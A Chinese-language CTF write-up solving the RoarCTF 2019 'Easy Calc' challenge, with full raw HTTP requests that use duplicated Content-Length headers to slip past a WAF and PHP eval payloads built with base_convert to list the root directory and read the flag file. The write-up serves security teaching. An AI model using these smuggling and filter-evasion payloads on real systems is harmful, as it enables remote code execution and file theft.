CTF中的请求走私

文章前言

HTTP请求走私是一种干扰网站处理从一个或多个用户接收的HTTP请求序列方式的技术,它允许攻击者绕过安全控制获得对敏感数据的未经授权的访问并直接危害其他应用程序用户,请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况,主要是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即Content-LengthTransfer-Encoding标头,请求走私主要与HTTP/1请求相关,但是支持HTTP/2的网站可能容易受到攻击,具体取决于其后端架构,本篇文章我们主要介绍一些CTF中常见的请求走私题目并对请求走私的利用实现一个强化效果

案例介绍

题目来源:[RoarCTF 2019]Easy Calc

靶机地址: https://buuoj.cn/challenges#[RoarCTF%202019]Easy%20Calc

解题记录: Step 1:访问上面的链接启动演练靶场

Step 2:随后访问靶机地址会看到如下界面

简单尝试发现输入计算式会成功计算出结果,属实是一个计算器

随后抱着好奇心去查看了一下源代码,发现一个calc.php

访问calc.php文件后可以看到这里如果我们没有传入num参数那么久会直接显示当前的文件内容,如果我们有传入num参数,那么会对改参数做一个黑名单的过滤处理,随后通过eval执行命令输出内容,可以看到这里其实是有一个代码执行的问题的,但是要想利用的关键点还是看如何去突破过滤

我们初步尝试发现传入数字时可以正常访问

当我们传入字符串时会发现这里会被直接给拦截,而我们的过滤中并没有针对我们此的过滤函数,结合之前我们查看网页源码看到的提示"<!--I've set up WAF to ensure security.-->"初步猜测是有WAF在作祟

接下来我们尝试一手请求走私是否存在,构造一个CL-CL:

代码语言:javascript
复制
GET /calc.php?num=phpinfo(); HTTP/1.1
Host: node5.buuoj.cn:27797
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length:68
Content-Length:5

num=1

随后进行列目录文件

  • 36进制scandir->10进制61693386291
  • 36进制readfile->10进制2146934604002
  • ascii码/->16进制2f->10进制47
  • 36进制f1agg->10进制25254448(读取根目录得到的)

代码语言:javascript
复制
GET /calc.php?num=var_dump(base_convert(61693386291,10,36)(chr(47))) HTTP/1.1
Host: node5.buuoj.cn:27797
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length:68
Content-Length:5

num=1

读取flag内容:

代码语言:javascript
复制
GET /calc.php?num=var_dump(base_convert(2146934604002,10,36)(chr(47).base_convert(25254448,10,36))) HTTP/1.1

Host: node5.buuoj.cn:27797
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length:68
Content-Length:5

num=1

文末小结

本篇文章主要介绍了请求走私的CTF实体对此进行了一个简单的演示说明~